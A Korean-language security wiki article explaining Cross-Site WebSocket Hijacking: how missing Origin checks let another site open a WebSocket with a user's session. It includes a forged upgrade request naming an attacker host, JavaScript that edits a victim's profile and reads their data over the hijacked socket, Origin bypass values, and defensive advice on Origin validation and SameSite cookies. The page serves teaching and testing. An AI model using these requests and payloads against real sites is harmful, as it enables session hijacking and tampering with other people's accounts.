CSWSH (Cross-Site WebSocket Hijacking)

🔍 Introduction

CSWSH는 Cross-Site WebSocket Hijacking의 약자로 WebSocket에서 Cross domain간 사용 정책인 Origin 헤더에 대한 검증 미흡으로 발생하는 문제입니다.

이를 통해 공격자는 CSRF, JSON Hijacking과 유사하게 사용자의 세션을 가지고 WebSocket Connection을 맺을 수 있으며, 정보를 탈취하거나 의도하지 않은 기능을 수행할 수 있습니다.

How?

WebSocket은 일반 HTTP 프로토콜 상에서 Upgrade: WebSocket을 통해 서버로 웹 소켓을 사용하겠다는 내용을 전송하고 서버가 101 Switching Protocol을 Response로 전달해주며 Client가 서버로 WebSocket connection을 맺는 형태로 처리가 진행됩니다. 이 때 서버는 Origin 헤더를 통해 이 요청이 어디서 온 요청인지 식별하게 됩니다.

만약 서버가 Origin을 제대로 검증하지 않고 Switching Protocol을 주고 있다면, 어떤 도메인에서도 사용자의 세션을 통해 WebSocket을 사용할 수 있다는 것을 의미합니다.

🗡 Offensive techniques

Detect

테스팅 방법은 JSON Hihacking과 거의 동일합니다. Upgrade 웹 요청에서 Origin 헤더를 조작하여 서비스가 아닌 다른 사이트에서 WebSocket connection을 맺을 수 있는지 테스트하면 됩니다.

1
2
3
4
5


GET /connect HTTP/1.1
Upgrade:WebSocket
Origin: attacker.hahwul.com
Connection: keep-alive, Upgrade
Upgrade:WebSocket

Exploitation

임의 WebSocket connection에 성공했다면 이제 영향력을 검증해야합니다. WebSocket connected 상태에서 사용자에게 영향을 줄 수 있는 기능을 파악한 후 사용자의 세션으로 수행하여 사용자가 의도하지 않은 기능을 수행하거나, 정보를 가져오는 등의 액션으로 공격을 수행하면 됩니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


function editProfile(cswshSocket) {
  var msg = {
    type: "editProfile",
    name: "attacked",
    profile_image: "https://~~~",
  };
  cswshSocket.send(JSON.stringify(msg));
}

function getUserInfo(cswshSocket) {
  var msg = {
    type: "userInfo"
  };
  cswshSocket.send(JSON.stringify(msg));
}

cswshSocket.onopen = function (event) {
  // 사용자의 정보를 수정하거나
  editProfile(cswshSocket)

  // 데이터를 가져오거나
  getUserInfo()
};

cswshSocket.onmessage = function(event) {
  console.log(JSON.parse(event.data))
}

Bypass protection

물론 서비스에서 Origin 헤더를 검증하고 있을 수 있습니다. 다만 일반적인 JSON Hijacking과 동일하게 신뢰받는 도메인, 문자열 등을 이용해서 우회할 수 있습니다.

e.g

1
2
3


Origin: attacker.hahwul.com
Origin: trust_domain.hahwul.com
Origin: *

🛡 Defensive techniques

Origin Verification

Switching Protocol 시 Origin 헤더에 대해 정확하게 검증이 필요합니다. 일반적으로 웹 브라우저에서 connection 시 origin 헤더를 임의로 수정할 순 없지만, 임의 서비스에서의 요청을 허용하거나 특정 패턴의 Origin에서 허용하는 경우 문제가 될 수 있기 떄문에 서비스에서 신뢰하는 도메인만 처리할 수 있도록 정확하게 검증해야합니다.

1
2
3


Origin: trust.hahwul.com (O)
Origin: abcd.com (X)
Origin: trust.hahwul.com.google.com (X)

CSRF와 동일하게 쿠키 기반의 인증을 사용하는 경우 쿠키 설정을 통해 방어할 수도 있습니다. Set-Cookie 시 SameSite=Lax 또는 SameSite=strict 등으로 명시하게 되면 해당 도메인에서 발생하는 요청만 쿠키로 붙기 떄문에 Cross-origin 간 사용자 세션을 이용하는 공격은 대부분 방어할 수 있습니다.

e.g

1
2


HTTP/1.1 200 OK
Set-Cookie: auth=abcd1234; SameSite=Lax

자세한 내용은 https://www.hahwul.com/2020/01/18/samesite-lax/ 글을 참고해주세요.

🕹 Tools

none

📚 Articles

https://www.hahwul.com/2016/08/22/coding-websocket-overview-protocolapi/

📌 References

https://www.hahwul.com/2016/08/22/coding-websocket-overview-protocolapi/